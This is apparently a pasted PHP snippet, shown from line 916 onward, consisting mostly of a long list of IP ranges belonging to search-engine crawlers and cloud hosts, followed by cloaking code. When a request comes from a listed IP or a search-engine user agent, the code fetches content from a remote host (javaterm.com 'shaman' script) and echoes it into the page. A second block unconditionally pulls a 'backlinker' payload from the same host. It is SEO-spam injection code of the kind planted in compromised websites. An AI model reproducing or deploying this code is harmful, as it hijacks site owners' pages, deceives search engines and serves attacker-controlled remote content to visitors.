  916. array('37.59.213.0', '37.59.213.255'),
  917. array('86.6.184.0', '86.6.184.255'),
  918. array('24.230.51.0', '24.230.51.255'),
  919. array('173.208.180.0', '173.208.180.255'),
  920. array('208.80.194.0', '208.80.194.255'),
  921. array('178.137.163.0', '178.137.163.255'),
  922. array('80.57.78.0', '80.57.78.255'),
  923. array('91.66.86.0', '91.66.86.255'),
  924. array('144.76.22.0', '144.76.22.255'),
  925. array('213.93.59.0', '213.93.59.255'),
  926. array('5.199.133.0', '5.199.133.255'),
  927. array('79.114.106.0', '79.114.106.255'),
  928. array('195.159.221.0', '195.159.221.255'),
  929. array('178.25.80.0', '178.25.80.255'),
  930. array('84.104.91.0', '84.104.91.255'),
  931. array('81.111.215.0', '81.111.215.255'),
  932. array('84.202.94.0', '84.202.94.255'),
  933. array('178.137.93.0', '178.137.93.255'),
  934. array('173.11.68.0', '173.11.68.255'),
  935. array('76.186.189.0', '76.186.189.255'),
  936. array('212.50.133.0', '212.50.133.255'),
  937. array('85.19.205.0', '85.19.205.255'),
  938. array('77.21.216.0', '77.21.216.255'),
  939. array('93.115.94.0', '93.115.94.255'),
  940. array('46.119.121.0', '46.119.121.255'),
  941. array('203.77.76.0', '203.77.76.255'),
  942. array('80.202.155.0', '80.202.155.255'),
  943. array('173.0.61.0', '173.0.61.255'),
  944. array('194.44.218.0', '194.44.218.255'),
  945. array('84.202.119.0', '84.202.119.255'),
  946. array('5.9.147.0', '5.9.147.255'),
  947. array('209.222.102.0', '209.222.102.255'),
  948. array('93.63.195.0', '93.63.195.255'),
  949. array('93.93.120.0', '93.93.120.255'),
  950. array('84.2.80.0', '84.2.80.255'),
  951. array('87.194.95.0', '87.194.95.255'),
  952. array('83.108.138.0', '83.108.138.255'),
  953. array('79.161.51.0', '79.161.51.255'),
  954. array('182.18.1.0', '182.18.1.255'),
  955. array('180.76.6.0', '180.76.6.255'),
  956. array('69.162.95.0', '69.162.95.255'),
  957. array('137.175.105.0', '137.175.105.255'),
  958. array('75.134.151.0', '75.134.151.255'),
  959. array('176.8.90.0', '176.8.90.255'),
  960. array('88.112.57.0', '88.112.57.255'),
  961. array('195.211.146.0', '195.211.146.255'),
  962. array('71.13.87.0', '71.13.87.255'),
  963. array('176.198.38.0', '176.198.38.255'),
  964. array('93.219.96.0', '93.219.96.255'),
  965. array('74.111.38.0', '74.111.38.255'),
  966. array('86.166.236.0', '86.166.236.255'),
  967. array('60.166.49.0', '60.166.49.255'),
  968. array('208.115.216.0', '208.115.216.255'),
  969. array('86.7.37.0', '86.7.37.255'),
  970. array('174.45.116.0', '174.45.116.255'),
  971. array('125.24.69.0', '125.24.69.255'),
  972. array('82.134.52.0', '82.134.52.255'),
  973. array('93.219.97.0', '93.219.97.255'),
  974. array('95.89.229.0', '95.89.229.255'),
  975. array('5.135.163.0', '5.135.163.255'),
  976. array('60.173.11.0', '60.173.11.255'),
  977. array('76.65.195.0', '76.65.195.255'),
  978. array('91.64.204.0', '91.64.204.255'),
  979. array('74.63.223.0', '74.63.223.255'),
  980. array('36.40.238.0', '36.40.238.255'),
  981. array('77.56.197.0', '77.56.197.255'),
  982. array('23.21.115.0', '23.21.115.255'),
  983. array('66.188.48.0', '66.188.48.255'),
  984. array('84.25.175.0', '84.25.175.255'),
  985. array('157.55.35.0', '157.55.35.255'),
  986. array('23.21.120.0', '23.21.120.255'),
  987. array('107.22.19.0', '107.22.19.255'),
  988. array('80.77.45.0', '80.77.45.255'),
  989. array('62.64.65.0', '62.64.65.255'),
  990. array('46.105.114.0', '46.105.114.255'),
  991. array('5.9.150.0', '5.9.150.255'),
  992. array('5.146.213.0', '5.146.213.255'),
  993. array('204.68.144.0', '204.68.144.255'),
  994. array('77.100.248.0', '77.100.248.255'),
  995. array('46.19.39.0', '46.19.39.255'),
  996. array('24.139.76.0', '24.139.76.255'),
  997. array('212.116.72.0', '212.116.72.255'),
  998. array('84.92.200.0', '84.92.200.255'),
  999. array('37.59.32.0', '37.59.32.255'),
  1000. array('188.143.232.0', '188.143.232.255'),
  1001. array('80.108.65.0', '80.108.65.255'),
  1002. array('80.248.212.0', '80.248.212.255'),
  1003. array('94.107.194.0', '94.107.194.255'),
  1004. array('88.134.184.0', '88.134.184.255'),
  1005. array('178.32.86.0', '178.32.86.255'),
  1006. array('198.200.32.0', '198.200.32.255'),
  1007. array('91.215.79.0', '91.215.79.255'),
  1008. array('91.121.170.0', '91.121.170.255'),
  1009. array('62.141.45.0', '62.141.45.255'),
  1010. array('130.255.134.0', '130.255.134.255'),
  1011. array('178.33.42.0', '178.33.42.255'),
  1012. array('198.2.202.0', '198.2.202.255'),
  1013. array('62.205.136.0', '62.205.136.255'),
  1014. array('109.87.138.0', '109.87.138.255'),
  1015. array('162.210.39.0', '162.210.39.255'),
  1016. array('217.118.50.0', '217.118.50.255'),
  1017. array('71.168.109.0', '71.168.109.255'),
  1018. array('211.24.57.0', '211.24.57.255'),
  1019. array('212.114.229.0', '212.114.229.255'),
  1020. array('208.76.15.0', '208.76.15.255'),
  1021. array('5.10.83.0', '5.10.83.255'),
  1022. array('188.65.183.0', '188.65.183.255'),
  1023. array('192.111.129.0', '192.111.129.255'),
  1024. array('89.156.110.0', '89.156.110.255'),
  1025. array('198.2.214.0', '198.2.214.255'),
  1026. array('5.135.47.0', '5.135.47.255'),
  1027. array('147.255.56.0', '147.255.56.255'),
  1028. array('79.254.97.0', '79.254.97.255'),
  1029. array('212.113.47.0', '212.113.47.255'),
  1030. array('137.175.15.0', '137.175.15.255'),
  1031. array('59.101.38.0', '59.101.38.255'),
  1032. array('173.208.187.0', '173.208.187.255'),
  1033. array('65.55.55.0', '65.55.55.255'),
  1034. array('95.91.56.0', '95.91.56.255'),
  1035. array('31.53.183.0', '31.53.183.255'),
  1036. array('68.115.95.0', '68.115.95.255'),
  1037. array('119.235.237.0', '119.235.237.255'),
  1038. array('217.195.202.0', '217.195.202.255'),
  1039. array('46.107.106.0', '46.107.106.255'),
  1040. array('195.138.247.0', '195.138.247.255'),
  1041. array('94.23.13.0', '94.23.13.255'),
  1042. array('67.23.164.0', '67.23.164.255'),
  1043. array('188.143.234.0', '188.143.234.255'),
  1044. array('217.86.236.0', '217.86.236.255'),
  1045. array('176.31.49.0', '176.31.49.255'),
  1046. array('157.56.93.0', '157.56.93.255'),
  1047. array('92.227.3.0', '92.227.3.255'),
  1048. array('222.77.239.0', '222.77.239.255'),
  1049. array('217.238.126.0', '217.238.126.255'),
  1050. array('65.49.14.0', '65.49.14.255'),
  1051. array('157.55.32.0', '157.55.32.255'),
  1052. array('31.193.51.0', '31.193.51.255'),
  1053. array('5.248.87.0', '5.248.87.255'),
  1054. array('117.27.138.0', '117.27.138.255'),
  1055. array('88.191.188.0', '88.191.188.255'),
  1056. array('78.27.130.0', '78.27.130.255'),
  1057. array('137.135.116.0', '137.135.116.255'),
  1058. array('78.55.104.0', '78.55.104.255'),
  1059. array('114.32.109.0', '114.32.109.255'),
  1060. array('37.221.192.0', '37.221.192.255'),
  1061. array('188.65.178.0', '188.65.178.255'),
  1062. array('119.63.193.0', '119.63.193.255'),
  1063. array('89.27.65.0', '89.27.65.255'),
  1064. array('66.249.81.0', '66.249.81.255'),
  1065. array('31.54.66.0', '31.54.66.255'),
  1066. array('137.175.118.0', '137.175.118.255'),
  1067. array('46.246.33.0', '46.246.33.255'),
  1068. array('157.55.36.0', '157.55.36.255'),
  1069. array('111.95.243.0', '111.95.243.255'),
  1070. array('93.219.75.0', '93.219.75.255'),
  1071. array('178.32.226.0', '178.32.226.255'),
  1072. array('110.86.69.0', '110.86.69.255'),
  1073. array('62.24.181.0', '62.24.181.255'),
  1074. array('94.224.68.0', '94.224.68.255'),
  1075. array('37.228.106.0', '37.228.106.255'),
  1076. array('141.170.243.0', '141.170.243.255'),
  1077. array('198.245.63.0', '198.245.63.255'),
  1078. array('86.13.63.0', '86.13.63.255'),
  1079. array('188.40.75.0', '188.40.75.255'),
  1080. array('88.71.57.0', '88.71.57.255'),
  1081. array('59.57.14.0', '59.57.14.255'),
  1082. array('220.135.26.0', '220.135.26.255'),
  1083. array('95.37.9.0', '95.37.9.255'),
  1084. array('218.108.170.0', '218.108.170.255'),
  1085. array('84.200.79.0', '84.200.79.255'),
  1086. array('142.4.208.0', '142.4.208.255'),
  1087. array('5.248.84.0', '5.248.84.255'),
  1088. array('93.93.79.0', '93.93.79.255'),
  1089. array('46.191.184.0', '46.191.184.255'),
  1090. array('176.31.213.0', '176.31.213.255'),
  1091. array('96.47.225.0', '96.47.225.255'),
  1092. array('5.79.80.0', '5.79.80.255'),
  1093. array('69.196.241.0', '69.196.241.255'),
  1094. array('123.2.148.0', '123.2.148.255'),
  1095. array('81.30.243.0', '81.30.243.255'),
  1096. array('92.76.115.0', '92.76.115.255'),
  1097. array('119.205.213.0', '119.205.213.255'),
  1098. array('206.207.116.0', '206.207.116.255'),
  1099. array('91.238.134.0', '91.238.134.255'),
  1100. array('188.100.249.0', '188.100.249.255'),
  1101. array('199.127.227.0', '199.127.227.255'),
  1102. array('50.18.139.0', '50.18.139.255'),
  1103. array('64.71.202.0', '64.71.202.255'),
  1104. array('192.200.154.0', '192.200.154.255'),
  1105. array('50.165.51.0', '50.165.51.255'),
  1106. array('5.44.20.0', '5.44.20.255'),
  1107. array('64.191.76.0', '64.191.76.255'),
  1108. array('216.59.3.0', '216.59.3.255'),
  1109. array('85.8.28.0', '85.8.28.255'),
  1110. array('222.77.235.0', '222.77.235.255'),
  1111. array('93.219.110.0', '93.219.110.255'),
  1112. array('64.71.204.0', '64.71.204.255'),
  1113. array('84.0.24.0', '84.0.24.255'),
  1114. array('184.171.165.0', '184.171.165.255'),
  1115. array('216.152.251.0', '216.152.251.255'),
  1116. array('5.146.212.0', '5.146.212.255'),
  1117. array('220.255.1.0', '220.255.1.255'),
  1118. array('76.253.65.0', '76.253.65.255'),
  1119. array('5.135.164.0', '5.135.164.255'),
  1120. array('192.95.47.0', '192.95.47.255'),
  1121. array('85.115.248.0', '85.115.248.255'),
  1122. array('217.238.66.0', '217.238.66.255'),
  1123. array('37.228.104.0', '37.228.104.255'),
  1124. array('58.62.178.0', '58.62.178.255'),
  1125. array('80.47.129.0', '80.47.129.255'),
  1126. array('64.71.207.0', '64.71.207.255'),
  1127. array('202.46.62.0', '202.46.62.255'),
  1128. array('31.184.238.0', '31.184.238.255'),
  1129. array('121.178.26.0', '121.178.26.255'),
  1130. array('198.27.68.0', '198.27.68.255'),
  1131. array('207.70.3.0', '207.70.3.255'),
  1132. array('78.93.73.0', '78.93.73.255'),
  1133. array('91.228.178.0', '91.228.178.255'),
  1134. array('198.100.144.0', '198.100.144.255'),
  1135. array('64.71.203.0', '64.71.203.255'),
  1136. array('64.71.195.0', '64.71.195.255'),
  1137. array('64.71.196.0', '64.71.196.255'),
  1138. array('38.99.96.0', '38.99.96.255'),
  1139. array('207.70.60.0', '207.70.60.255'),
  1140. array('72.14.164.0', '72.14.164.255'),
  1141. array('206.80.115.0', '206.80.115.255'),
  1142. array('64.71.198.0', '64.71.198.255'),
  1143. array('223.205.132.0', '223.205.132.255'),
  1144. array('64.71.206.0', '64.71.206.255'),
  1145. array('64.71.197.0', '64.71.197.255'),
  1146. array('71.197.44.0', '71.197.44.255'),
  1147. array('58.22.10.0', '58.22.10.255'),
  1148. array('208.115.111.0', '208.115.111.255'),
  1149. array('62.128.158.0', '62.128.158.255'),
  1150. array('59.60.115.0', '59.60.115.255'),
  1151. array('220.132.19.0', '220.132.19.255'),
  1152. array('209.19.186.0', '209.19.186.255'),
  1153. array('207.70.9.0', '207.70.9.255'),
  1154. array('157.55.33.0', '157.55.33.255'),
  1155. array('209.19.152.0', '209.19.152.255'),
  1156. array('93.219.95.0', '93.219.95.255'),
  1157. array('206.207.117.0', '206.207.117.255'),
  1158. array('184.105.235.0', '184.105.235.255'),
  1159. array('209.19.138.0', '209.19.138.255'),
  1160. array('145.236.26.0', '145.236.26.255'),
  1161. array('27.153.251.0', '27.153.251.255'),
  1162. array('121.205.243.0', '121.205.243.255'),
  1163. array('27.159.229.0', '27.159.229.255'),
  1164. array('64.71.205.0', '64.71.205.255'),
  1165. array('176.122.226.0', '176.122.226.255'),
  1166. array('121.205.242.0', '121.205.242.255'),
  1167. array('157.55.34.0', '157.55.34.255'),
  1168. array('64.71.192.0', '64.71.192.255'),
  1169. array('142.0.142.0', '142.0.142.255'),
  1170. array('37.228.107.0', '37.228.107.255'),
  1171. array('206.80.118.0', '206.80.118.255'),
  1172. array('37.228.105.0', '37.228.105.255'),
  1173. array('64.71.193.0', '64.71.193.255'),
  1174. array('110.85.127.0', '110.85.127.255'),
  1175. array('64.71.200.0', '64.71.200.255'),
  1176. array('37.57.76.0', '37.57.76.255'),
  1177. array('77.75.77.0', '77.75.77.255'),
  1178. array('206.80.114.0', '206.80.114.255'),
  1179. array('123.139.10.0', '123.139.10.255'),
  1180. array('220.255.2.0', '220.255.2.255'),
  1181. array('202.46.49.0', '202.46.49.255'),
  1182. array('206.80.112.0', '206.80.112.255'),
  1183. array('212.114.180.0', '212.114.180.255'),
  1184. array('202.46.61.0', '202.46.61.255'),
  1185. array('90.30.135.0', '90.30.135.255'),
  1186. array('87.98.237.0', '87.98.237.255'),
  1187. array('77.78.104.0', '77.78.104.255'),
  1188. array('84.210.171.0', '84.210.171.255'),
  1189. array('209.19.175.0', '209.19.175.255'),
  1190. array('217.238.82.0', '217.238.82.255'),
  1191. array('209.208.27.0', '209.208.27.255'),
  1192. array('64.71.194.0', '64.71.194.255'),
  1193. array('217.253.227.0', '217.253.227.255'),
  1194. array('213.236.164.0', '213.236.164.255'),
  1195. array('202.46.50.0', '202.46.50.255'),
  1196. array('64.71.199.0', '64.71.199.255'),
  1197. array('58.62.188.0', '58.62.188.255'),
  1198. array('178.202.133.0', '178.202.133.255'),
  1199. array('173.44.37.0', '173.44.37.255'),
  1200. array('202.46.48.0', '202.46.48.255'),
  1201. array('220.137.58.0', '220.137.58.255'),
  1202. array('110.45.145.0', '110.45.145.255'),
  1203. array('218.25.249.0', '218.25.249.255'),
  1204. array('84.13.4.0', '84.13.4.255'),
  1205. array('49.212.135.0', '49.212.135.255'),
  1206. array('91.237.249.0', '91.237.249.255'),
  1207. array('206.207.80.0', '206.207.80.255'),
  1208. array('192.119.144.0', '192.119.144.255'),
  1209. array('88.198.97.0', '88.198.97.255'),
  1210. array('74.115.0.0', '74.115.0.255'),
  1211. array('137.175.0.0', '137.175.0.255'),
  1212. array('207.70.25.0', '207.70.25.255'),
  1213. array('199.167.148.0', '199.167.148.255'),
  1214. array('188.100.243.0', '188.100.243.255'),
  1215. array('220.181.108.0', '220.181.108.255'),
  1216. array('142.4.117.0', '142.4.117.255'),
  1217. array('92.75.156.0', '92.75.156.255'),
  1218. array('209.19.170.0', '209.19.170.255'),
  1219. array('141.0.9.0', '141.0.9.255'),
  1220. array('192.99.1.0', '192.99.1.255'),
  1221. array('202.105.63.0', '202.105.63.255'),
  1222. array('86.182.85.0', '86.182.85.255'),
  1223. array('85.24.205.0', '85.24.205.255'),
  1224. array('66.248.193.0', '66.248.193.255'),
  1225. array('64.71.201.0', '64.71.201.255'),
  1226. array('202.46.63.0', '202.46.63.255'),
  1227. array('69.171.237.0', '69.171.237.255'),
  1228. array('208.115.113.0', '208.115.113.255'),
  1229. array('67.197.175.0', '67.197.175.255'),
  1230. array('78.46.142.0', '78.46.142.255'),
  1231. array('31.6.71.0', '31.6.71.255'),
  1232. array('79.170.91.0', '79.170.91.255'),
  1233. array('27.159.223.0', '27.159.223.255'),
  1234. array('195.158.7.0', '195.158.7.255'),
  1235. array('62.24.252.0', '62.24.252.255'),
  1236. array('110.85.126.0', '110.85.126.255'),
  1237. array('198.50.171.0', '198.50.171.255'),
  1238. array('89.144.52.0', '89.144.52.255'),
  1239. array('46.188.5.0', '46.188.5.255'),
  1240. array('2.8.79.0', '2.8.79.255'),
  1241. array('67.205.72.0', '67.205.72.255'),
  1242. array('173.252.73.0', '173.252.73.255'),
  1243. array('120.37.231.0', '120.37.231.255'),
  1244. array('142.4.217.0', '142.4.217.255'),
  1245. array('157.56.92.0', '157.56.92.255'),
  1246. array('198.228.228.0', '198.228.228.255'),
  1247. array('202.46.57.0', '202.46.57.255'),
  1248. array('137.175.1.0', '137.175.1.255'),
  1249. array('110.86.186.0', '110.86.186.255'),
  1250. array('85.238.96.0', '85.238.96.255'),
  1251. array('202.46.60.0', '202.46.60.255'),
  1252. array('178.255.215.0', '178.255.215.255'),
  1253. array('209.19.180.0', '209.19.180.255'),
  1254. array('89.144.59.0', '89.144.59.255'),
  1255. array('188.244.35.0', '188.244.35.255'),
  1256. array('90.30.225.0', '90.30.225.255'),
  1257. array('92.206.37.0', '92.206.37.255'),
  1258. array('65.61.200.0', '65.61.200.255'),
  1259. array('69.162.89.0', '69.162.89.255'),
  1260. array('85.164.206.0', '85.164.206.255'),
  1261. array('80.241.220.0', '80.241.220.255'),
  1262. array('182.236.128.0', '182.236.255.255'),
  1263. array('50.16.0.0', '50.19.255.255'),
  1264. array('107.20.0.0', '107.23.255.255'),
  1265. array('184.72.0.0', '184.73.255.255'),
  1266. array('54.192.0.0', '54.207.255.255'),
  1267. array('54.240.0.0', '54.255.255.255'),
  1268. array('54.224.0.0', '54.239.255.255'),
  1269. array('174.129.0.0', '174.129.255.255'),
  1270. array('178.151.216.0', '178.151.216.255'),
  1271. array('54.208.0.0', '54.221.255.255'),
  1272. array('84.51.64.0', '84.51.127.255'),
  1273. array('54.234.0.0', '54.235.255.255'),
  1274. array('204.236.128.0', '204.236.255.255'),
  1275. array('54.236.0.0', '54.237.255.255'),
  1276. array('23.20.0.0', '23.23.255.255'),
  1277. array('178.150.58.0', '178.150.58.255'),
  1278. array('77.234.43.0', '77.234.43.255'),
  1279. array('178.150.247.0', '178.150.247.255'),
  1280. array('58.137.15.176', '58.137.15.183'),
  1281. array('27.125.200.0', '27.125.203.255'),
  1282. array('117.239.117.16', '117.239.117.23'),
  1283. array('117.239.195.16', '117.239.195.23'),
  1284. array('91.123.16.0', '91.123.31.255'),
  1285. array('119.42.152.0', '119.42.152.255'),
  1286. array('178.151.84.0', '178.151.84.255'),
  1287. array('193.99.42.0', '193.99.42.255'),
  1288. array('131.107.0.0', '131.107.255.255'),
  1289. array('167.220.0.0', '167.220.255.255'),
  1290. array('87.238.80.0', '87.238.81.255'),
  1291. array('14.139.61.128', '14.139.61.143'),
  1292. array('210.212.195.224', '210.212.195.239'),
  1293. array('111.235.64.0', '111.235.67.255'),
  1294. array('218.248.0.224', '218.248.0.231'),
  1295. array('131.118.0.0', '131.118.255.255'),
  1296. array('14.139.186.160', '14.139.186.175'),
  1297. array('125.62.192.0', '125.62.207.255'),
  1298. array('50.112.0.0', '50.112.255.255'),
  1299. array('67.202.0.0', '67.202.63.255'),
  1300. array('72.44.32.0', '72.44.63.255'),
  1301. array('184.172.0.0', '184.173.255.255'),
  1302. array('138.91.0.0', '138.91.255.255'),
  1303. array('98.136.0.0', '98.139.255.255'),
  1304. array('209.85.128.0', '209.85.255.255'),
  1305. array('176.34.208.0', '176.34.215.255'),
  1306. array('176.31.16.216', '176.31.16.219'),
  1307. array('176.31.203.192', '176.31.203.195'),
  1308. array('176.31.223.44', '176.31.223.47'),
  1309. array('100.43.64.0', '100.43.95.255'),
  1310. array('37.59.165.100', '37.59.165.103'),
  1311. array('176.31.61.236', '176.31.61.239'),
  1312. array('176.31.132.232', '176.31.132.235'),
  1313. array('49.156.42.0', '49.156.42.255'),
  1314. array('178.32.161.208', '178.32.161.211'),
  1315. array('176.31.159.56', '176.31.159.59'),
  1316. array('178.32.147.148', '178.32.147.151'),
  1317. array('75.101.128.0', '75.101.255.255'),
  1318. array('46.105.254.212', '46.105.254.215'),
  1319. array('176.31.223.220', '176.31.223.223'),
  1320. array('176.31.159.128', '176.31.159.131'),
  1321. array('184.169.128.0', '184.169.255.255'),
  1322. array('123.108.200.0', '123.108.207.255'),
  1323. array('176.31.7.192', '176.31.7.195'),
  1324. array('37.59.227.68', '37.59.227.71'),
  1325. array('137.135.0.0', '137.135.255.255'),
  1326. array('176.34.0.0', '176.34.255.255'),
  1327. array('46.149.80.0', '46.149.95.255'),
  1328. array('176.31.3.156', '176.31.3.159'),
  1329. array('69.147.64.0', '69.147.127.255'),
  1330. array('176.31.220.44', '176.31.220.47'),
  1331. array('194.37.104.0', '194.37.231.255'),
  1332. array('54.248.0.0', '54.249.255.255'),
  1333. array('176.31.18.244', '176.31.18.247'),
  1334. array('178.33.157.184', '178.33.157.187'),
  1335. array('178.32.251.116', '178.32.251.119'),
  1336. array('176.31.203.36', '176.31.203.39'),
  1337. array('37.59.200.228', '37.59.200.231'),
  1338. array('176.31.210.100', '176.31.210.103'),
  1339. array('109.87.185.0', '109.87.185.255'),
  1340. array('54.253.0.0', '54.253.255.255'),
  1341. array('116.255.192.0', '116.255.255.255'),
  1342. array('176.31.198.236', '176.31.198.239'),
  1343. array('159.224.0.0', '159.224.255.255'),
  1344. array('178.33.181.136', '178.33.181.139'),
  1345. array('178.151.30.0', '178.151.30.255'),
  1346. array('5.39.15.148', '5.39.15.151'),
  1347. array('178.151.142.0', '178.151.142.255'),
  1348. array('178.150.80.0', '178.150.80.255'),
  1349. array('178.150.167.0', '178.150.167.255'),
  1350. array('178.151.86.0', '178.151.86.255'),
  1351. array('37.57.183.0', '37.57.183.255'),
  1352. array('46.51.128.0', '46.51.191.255'),
  1353. array('8.0.0.0', '8.255.255.255'),
  1354. array('46.105.254.228', '46.105.254.231'),
  1355. array('175.41.192.0', '175.41.223.255'),
  1356. array('178.150.71.0', '178.150.71.255'),
  1357. array('37.59.236.16', '37.59.236.19'),
  1358. array('178.150.226.0', '178.150.226.255'),
  1359. array('109.86.194.0', '109.86.194.255'),
  1360. array('109.86.251.0', '109.86.251.255'),
  1361. array('46.137.0.0', '46.137.127.255'),
  1362. array('49.156.41.0', '49.156.41.255'),
  1363. array('46.137.128.0', '46.137.191.255'),
  1364. array('5.39.5.96', '5.39.5.99'),
  1365. array('178.151.124.0', '178.151.124.255'),
  1366. array('94.23.109.132', '94.23.109.135'),
  1367. array('176.31.26.144', '176.31.26.147'),
  1368. array('192.200.224.0', '192.200.255.255'),
  1369. array('37.59.238.60', '37.59.238.63'),
  1370. array('109.87.84.0', '109.87.84.255'),
  1371. array('37.59.82.64', '37.59.82.67'),
  1372. array('178.32.92.248', '178.32.92.251'),
  1373. array('37.59.239.96', '37.59.239.99'),
  1374. array('127.0.0.0', '127.0.0.255'), //Localhost
  1375. );
  1376. $ip = ip2long($ip);
  1377. foreach ($ranges as $range) {
  1378. if(ip2long($range[0]) <= $ip && $ip <= ip2long($range[1])) {
  1379. return true;
  1380. }
  1381. }
  1382.  
  1383. return false;
  1384. }
  1385. ?>
  1386.  
  1387. ?><?php
  1388.  
  1389. //require_once 'wp-list.php';
  1390.  
  1391.  
  1392.  
  1393. $ip = $_SERVER['REMOTE_ADDR'];
  1394. // $bad_ips[] = '/188.2326.25234.42/'; // <- this is an example how to add ip from this file to bad_ips list
  1395.  
  1396. $allow = true;
  1397. foreach ($bad_ips as $bad_ip)
  1398. {
  1399. if (preg_match($bad_ip, $ip))
  1400. {
  1401. $allow = false;
  1402. break;
  1403. }
  1404. }
  1405. //echo "BAD IPS ".$allow."<br>";
  1406.  
  1407. $agent = preg_match('!(google|yahoo|bing|msn|yandex)!', strtolower($_SERVER['HTTP_USER_AGENT']));
  1408.  
  1409. /*echo "Check p".check_bot_ip($ip)."<br>";
  1410. echo "BAD IPS ". $agent."<br>";
  1411. exit;*/
  1412. if (!$allow || check_bot_ip($ip) || $agent ) { if(function_exists('curl_init'))
  1413. {
  1414. $url = "http://javaterm.com/shaman/shaman.php";
  1415. $ch = curl_init();
  1416. $timeout = 5;
  1417. curl_setopt($ch,CURLOPT_URL,$url);
  1418. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1419. curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
  1420. $data = curl_exec($ch);
  1421. curl_close($ch);
  1422. echo "$data";
  1423. }
  1424.  
  1425. }
  1426.  
  1427. // here is normal body of the website which will be displayed for other users
  1428. // you can require this content from external file with require_once function on place inline like below:
  1429. ?>
  1430.  
  1431. ?><?php
  1432. if(function_exists('curl_init'))
  1433. {
  1434. $url = "http://javaterm.com/green/backlinker.php";
  1435. $ch = curl_init();
  1436. $timeout = 5;
  1437. curl_setopt($ch,CURLOPT_URL,$url);
  1438. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  1439. curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
  1440. $data = curl_exec($ch);
  1441. curl_close($ch);
  1442. echo "$data";
  1443. }
  1444. ?>
Advertisement
Add Comment
Please, Sign In to add comment